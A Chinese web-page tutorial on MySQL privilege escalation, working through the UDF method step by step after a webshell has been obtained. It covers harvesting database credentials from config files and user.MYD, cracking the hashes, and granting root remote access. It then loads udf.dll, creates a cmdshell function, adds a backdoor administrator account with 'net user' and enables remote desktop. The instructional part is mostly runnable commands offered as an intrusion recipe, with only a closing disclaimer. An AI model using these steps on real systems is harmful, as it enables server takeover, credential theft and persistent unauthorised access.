我的编程空间,编程开发者的网络收藏夹
学习永远不晚

mysql数据库提权的三种方法

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

mysql数据库提权的三种方法

MySql提权的三种方式:

  • udf提权
  • mof提权
  • 启动项提权

以下是一些常见的数据库及其默认端口:

1. MySQL: 默认端口为 3306

2. PostgreSQL: 默认端口为 5432

3. oracle Database: 默认端口为 1521

4. Microsoft SQL Server: 默认端口为 1433

5. MongoDB: 默认端口为 27017

6. Redis: 默认端口为 6379

7. Elasticsearch: 默认端口为 9200 (HTTP) 和 9300 (内部通信)

8. Cassandra: 默认端口为 9042

9. SQLite: 通常是本地文件系统,没有固定端口

10. DB2: 默认端口为 50000

11.国产的DM达梦数据库, 默认端口号为:5236;

mysql_UDF 提权:

拿到webshell之后,进行数据库提权操作

一、端口扫描

mysql数据库提权的三种方法

二、信息收集:

如何获取mysql账号密码

1.查看网站配置文件。

如:conn、config、data、sql、common 、inc、include等。

2.Mysql配置文件:C:\phpStudy\MySQL\data\mysql\user.MYD

例如:DVWA默认数据库存储在:C:/phpStudy/WWW/DVWA/config/config.inc.php.dist目录

mysql数据库提权的三种方法

点击查看:账号:root 密码:root

mysql数据库提权的三种方法

查看数据库安装路径下的mysql文件 安装目录为/data/mysql/user.myd和user.myi

mysql数据库提权的三种方法

mysql数据库提权的三种方法

放到MD5在线网站进行解密

mysql数据库提权的三种方法

三、提权利用

注意事项:提权的第一步要知道数据库的版本号:

(1)如果mysql<5.1    导出目录 c:\Windows 或  c:\windows\system32

(2)mysql=>5.1   导出安装目录\MySQL\lib\plugin

注*:默认mysql不能远程连接,需要用菜刀进行本地连接

选择mysql,填写好账号:root 密码root,确认好提交进行连接

mysql数据库提权的三种方法

mysql数据库提权的三种方法

设置远程连接,用于在本地连接。

mysql> GRANT ALL PRIVILEGES ON *.* TO root@"%" IDENTIFIED BY "root";
mysql> flush privileges; 重新加载权限数据

数据库版本为5.5.53

mysql数据库提权的三种方法

由于本次实验数据库为5.5.53,因此选择\MySQL\lib\plugin目录。

mysql数据库提权的三种方法

提示报错

前提条件为:secure_file_priv等于空,需要在my.ini配置文件中进行设置

mysql数据库提权的三种方法

修改之后,查看安装dll文件完成。

mysql数据库提权的三种方法

创建cmdshell函数,执行操作系统命令。

Create Function cmdshell returns string soname 'udf.dll';

mysql数据库提权的三种方法

使用cmdshll函数执行操作系统命令

select cmdshell('whoami');
select cmdshell('net user 123 123/add');    添加用户
select cmdshell('net localgroup administrators 123 /add');    将123用户添加到管理组

mysql数据库提权的三种方法

mysql数据库提权的三种方法

mysql数据库提权的三种方法

开3389进行远程连接

Create Function open3389 returns string soname 'udf.dll';
select open3389();    开启3389远程连接

mysql数据库提权的三种方法

mysql数据库提权的三种方法

mysql数据库提权的三种方法

mysql数据库提权的三种方法

注意:仅用于技术讨论,切勿用于其他用途,一切后果与本人无关。

到此这篇关于mysql数据库提权的三种方法的文章就介绍到这了,更多相关mysql数据库提权内容请搜索编程网(www.lsjlt.com)以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网(www.cppcns.com)!

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

mysql数据库提权的三种方法

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

mysql数据库提权的三种方法

目录mysql_UDF 提权:一、端口扫描二、信息收集:三、提权利用MySql提权的三种方式:udf提权mof提权启动项提权以下是一些常见的数据库及其默认端口:1. MySQL: 默认端口为 33062. PostgreSQL: 默
mysql数据库提权的三种方法
2024-09-19

PHP连接MySQL数据库三种实现方法

引言PHP与MySQL的连接有三种API接口,分别是:PHP的MySQL扩展 、PHP的mysqli扩展 、PHP数据对象(PDO) ,下面针对以上三种连接方式做下总结,以备在不同场景下选出最优方案。PHP的MySQL扩展是设计开发允许ph
2022-05-23

Oracle数据库分页的三种方法

使用ROWNUM函数进行分页:ROWNUM是Oracle数据库中的一个伪列,它表示当前行的行号。结合ROWNUM可以轻松实现分页功能。可以通过在查询语句中使用ROWNUM进行分页,例如:SELECT * FROM (SELECT t.*,
Oracle数据库分页的三种方法
2024-04-09

MySQL数据库自动补全命令的三种方法

注意:第三种方法要在 XSell 中使用,在 finalsell 中使用不了 方式一:临时使用自动补全功能方式二:永久使用自动补全功能vim /etc/my.cnf [mysql] auto-rehash方式三:使用软件mycli实现自动补
2022-05-28

数据库批量插入数据的三种方法

一、准备工作 测试环境:SpringBoot项目+MybatisPlus框架+MySQL数据库+Lombok 二、导入依赖 dependency> groupId>org.springframework.boot
2023-08-20

Pandas提取数据的三种方式

本文主要介绍了Pandas提取数据的三种方式,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
2023-01-16

查看本地MYSQL数据库IP地址的三种方法

目录方法一:在电脑设置中查看电脑iP地址方法二:通过运行程序查看电脑IP地址方法三:通过浏览器查看电脑IP地址拓展:在自己电脑建立了mysql数据库,但是想在其它的电脑进行连接,那如何查找MYSQL数据库的IP地址?(也就是建立了数据库js
查看本地MYSQL数据库IP地址的三种方法
2024-10-11

Python写入MySQL数据库的三种方式详解

目录场景一:数据不需要频繁的写入mysql场景二:数据是增量的,需要自动化并频繁写入mysql方式一方式二总结大家好,python 读取数据自动写入 MySQL 数据库,这个需求在工作中是非常普遍的,主要涉及到 python 操作数据库,读
2022-06-27

MySQL删除数据的三种方式

MySQL删除数据有以下三种方式:1. 使用DELETE语句:使用DELETE语句可以删除表中的一条或多条数据。语法如下:DELETE FROM 表名 WHERE 条件;其中,表名是要删除数据的表名,WHERE后面是删除的条件。例如,删除s
2023-09-22

SQL Server数据库的三种创建方法汇总

目录一.使用SQL Server Management Studio编程客栈创建数据库二.使用CREATE DATABASE 语句创建数据库。三.使用模板创建数据库总结可以使用以下3种方法创建数据库。一.使用SQL Server Mana
2023-05-05

SQL Server数据库的三种创建方法汇总

新建数据库是我们开始数据库学习的重要一步,下面这篇文章主要给大家介绍了关于SQL Server数据库的三种创建方法,文中通过图文介绍的非常详细,需要的朋友可以参考下
2023-05-19

编程热搜

目录